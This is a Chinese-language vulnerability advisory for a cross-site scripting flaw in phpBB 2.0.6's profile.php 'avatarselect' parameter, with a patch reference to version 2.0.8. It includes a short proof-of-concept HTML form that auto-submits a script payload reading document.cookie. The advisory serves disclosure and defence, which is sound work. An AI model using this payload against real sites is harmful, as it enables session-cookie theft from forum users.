首页 -> 安全研究

安全研究

安全漏洞
phpBB profile.php avatarselect跨站脚本漏洞

发布日期:2004-03-25
更新日期:2004-04-01

受影响系统:
phpBB Group phpBB 2.0.6 d
不受影响系统:
phpBB Group phpBB 2.0.8
描述:
BUGTRAQ  ID: 9938

phpBB是一款由PHP编写的WEB论坛应用程序,支持多种数据库系统,可使用在多种Unix和Linux操作系统下。

phpBB包含的'profile.php'脚本在处理"avatarselect"变量时缺少充分过滤,远程攻击者可以利用这个漏洞进行跨站脚本执行攻击,可能获得用户敏感数据信息。

问题存在于profile.php文件中,当点击[Show Gallery],phpBB会显示Avatar库,要求用户选择一个给自己,此表单中存在一个问题,在提交给phpBB后,phpBB会直接采用"avatarselect"作为路径参数而没有任何过滤,因此提交包含恶意脚本代码,当其他用户浏览器此链接时可造成敏感信息泄露。

<*来源:Cheng Peng Su (apple_soup@msn.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107997814221605&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Cheng Peng Su (apple_soup@msn.com)提供了如下测试方法:

-------------exploit.htm--------------
  <form name='f' action="http://site/profile.php?mode=editprofile" method="post">
  <input name="avatarselect" value='" >&lt;script&gt;alert(document.cookie)&lt;/script&gt;'>
  <input type="submit" name="submitavatar" value="Select avatar">
  </form>
  &lt;script&gt;
  window.onload=function()
   {
    document.all.submitavatar.click();
   }
  &lt;/script&gt;
  ---------------end-------------------

建议:
厂商补丁:

phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

phpBB Group Upgrade phpBB-2.0.8.zip
http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.8.zip?download

浏览次数:4517
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障